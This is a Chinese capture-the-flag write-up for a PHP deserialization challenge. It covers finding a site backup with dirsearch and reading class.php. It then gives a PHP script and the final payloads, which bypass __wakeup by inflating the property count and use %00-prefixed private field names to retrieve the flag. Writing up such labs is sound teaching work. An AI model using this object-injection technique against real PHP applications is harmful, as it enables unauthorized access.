知识点:1.网站的备份文件
2.php反序列化
用dirsearch扫一下:
发现一个压缩包,下载下来
发现三个php文件,其中index.php为主页源代码。
打开flag.php并未发现flag:
接着打开class.php:
里面涉及php魔法方法
__construct 是构造函数,在对象被创建的时候自动调用,进行类的初始化;
__wakeup 当使用unserialize时被调用,可用于做些对象的初始化操作
__destruct 是析构函数,作用与 __construct 正好相反,析构函数只有在对象被垃圾收集器收集前(即对象从内存中删除之前)才会被⾃动调⽤。析构函数允许我们在销毁⼀个对象之前执⾏⼀些特定的操作,例如关闭⽂件、释放结果集等。
根据class.php代码,我们发现要想获取flag,只需username=admin password=100然后我们再执行__destruct()时可以获得flag
于是构造反序列化:
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new Name('admin',100);
var_dump(serialize($a))
?>
然后保存,运行,获得序列化的字符串
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
在index.php中发现参数为select
于是我们将参数值给select,但是在反序列化的时候会首先执行__wakeup()魔法方法,这个方法会把我们的username重新赋值,所以我们考虑如何跳过__wakeup(),而去执行__destruct
在反序列化时,当前属性个数大于实际属性个数时,就会跳过__wakeup(),即把Name后面的数字2该为大于2的数字,于是我们这样构造payload:
?select=O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
接着我们发现,username和password为private声明的变量。因为username和password是私有变量,变量中的类名前后会有空白符,而复制的时候会丢失,所以要加上%00因此私有字段的字段名在序列化的时候,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度
(如上图,<0x00>复制时会丢失)
于是我们再构造payload:
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
获得flag